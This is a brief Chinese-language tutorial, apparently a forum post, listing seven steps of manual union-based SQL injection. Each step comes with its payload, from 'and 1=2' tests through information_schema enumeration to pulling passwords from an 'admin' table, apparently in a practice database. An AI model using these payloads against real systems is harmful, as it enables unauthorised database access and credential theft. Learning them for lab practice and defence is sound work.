（一）判断是否存在注入 and 1=1、and 1=2等等 （二）判断字段数 order by 2 （三）判断显错位 union select 1,2 （四）判断库名 and 1=2 union select 1,database() （五）判断表名 and 1=2 union select 1,table_name from information_schema.tables where table_schema =’maoshe’ （六）判断列名 and 1=2 union select 1,column_name from information_schema.columns where table_name =’admin’ limit 2,1 （七）寻找具体数据 and 1=2 union select 1,password from admin |
版主：
